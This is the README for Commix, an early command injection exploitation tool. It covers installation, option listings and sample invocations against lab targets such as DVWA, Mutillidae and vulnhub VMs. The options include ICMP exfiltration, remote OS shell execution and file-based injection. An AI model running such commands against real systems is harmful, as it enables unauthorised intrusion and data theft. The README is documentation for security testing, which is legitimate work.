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/\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
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\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ { v0.1b }
+--
Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
+--
#General Information
Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language.
#Disclaimer The tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes!!
#Requirements Python version 2.6.x or 2.7.x is required for running this program.
#Installation
Commix comes pre-installed on the following Linux distributions:
Download commix by cloning the Git repository:
git clone https://github.com/stasinopoulos/commix.git commix
#Usage Usage: python commix.py [options]
####Options -h, --help Show help and exit. --verbose Enable the verbose mode. --install Install 'commix' to your system. --version Show version number and exit. --update Check for updates (apply if any) and exit.
####Target This options has to be provided, to define the target URL.
--url=URL Target URL
--url-reload Reload target URL after command execution.
####Request These options can be used, to specify how to connect to the target URL.
--host=HOST HTTP Host header.
--referer=REFERER HTTP Referer header.
--user-agent=AGENT HTTP User-Agent header.
--cookie=COOKIE HTTP Cookie header.
--random-agent Use a randomly selected HTTP User-Agent header.
--headers=HEADERS Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY Use a HTTP proxy (e.g. '127.0.0.1:8080').
--auth-url=AUTH_.. Login panel URL.
--auth-data=AUTH.. Login parameters and data.
--auth-cred=AUTH.. HTTP Basic Authentication credentials (e.g.
'admin:admin').
####Enumeration These options can be used, to enumerate the target host.
--current-user Retrieve current user.
--hostname Retrieve server hostname.
--is-root Check if the current user have root privs.
####Injection These options can be used, to specify which parameters to inject and to provide custom injection payloads.
--data=DATA POST data to inject (use 'INJECT_HERE' tag to specify
the testable parameter).
--suffix=SUFFIX Injection payload suffix string.
--prefix=PREFIX Injection payload prefix string.
--technique=TECH Specify a certain injection technique : 'classic',
'eval-based', 'time-based' or 'file-based'.
--maxlen=MAXLEN The length of the output on time-based technique
(Default: 10000 chars).
--delay=DELAY Set Time-delay for time-based and file-based
techniques (Default: 1 sec).
--base64 Use Base64 (enc)/(de)code trick to prevent false-
positive results.
--tmp-path=TMP_P.. Set remote absolute path of temporary files directory.
--root-dir=SRV_R.. Set remote absolute path of web server's root
directory (Default: /var/www/).
--icmp-exfil=IP_.. Use the ICMP exfiltration technique (e.g.
'ip_src=192.168.178.1,ip_dst=192.168.178.3').
--alter-shell Use an alternative os-shell (Python). Available only
for 'tempfile-based' injections.
--os-shell=OS_SH.. Execute a single operating system command.
####Usage Examples Exploiting [Damn Vulnerable Web App] (http://www.dvwa.co.uk/):
python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
Exploiting [php-Charts 1.0] (http://www.exploit-db.com/exploits/25496/) using injection payload suffix & prefix string:
python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"
Exploiting [OWASP Mutillidae] (https://www.owasp.org/index.php/Category:OWASP_Mutillidae) using extra headers and HTTP proxy:
python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
Exploiting [Persistence] (https://www.vulnhub.com/entry/persistence-1,103/) using ICMP exfiltration technique :
su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""
Exploiting [Kioptrix: 2014 (#5)] (https://www.vulnhub.com/entry/kioptrix-2014-5,62/) using custom user-agent and specified injection technique:
python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"
####Command injection testbeds A collection of pwnable VMs, that includes web apps vulnerable to command injections.
- [Damn Vulnerable Web App] (http://www.dvwa.co.uk/)
- [OWASP: Mutillidae] (https://www.owasp.org/index.php/Category:OWASP_Mutillidae)
- [bWAPP: bee-box (v1.6)] (http://www.itsecgames.com/)
- [Persistence] (https://www.vulnhub.com/entry/persistence-1,103/)
- [Pentester Lab: Web For Pentester] (https://www.vulnhub.com/entry/pentester-lab-web-for-pentester,71/)
- [Pentester Academy: Command Injection ISO: 1] (https://www.vulnhub.com/entry/command-injection-iso-1,81/)
- SpiderLabs: MCIR (ShelLOL)
- Kioptrix: 2014 (#5)
- [w3af-moth] (https://github.com/andresriancho/w3af-moth/)
- [...]
####Exploitation Demos
[![][img]][txt] [img]: https://cdn3.iconfinder.com/data/icons/peelicons-vol-1/50/Twitter-32.png (Follow @commixproject :)) [txt]: http://www.twitter.com/commixproject
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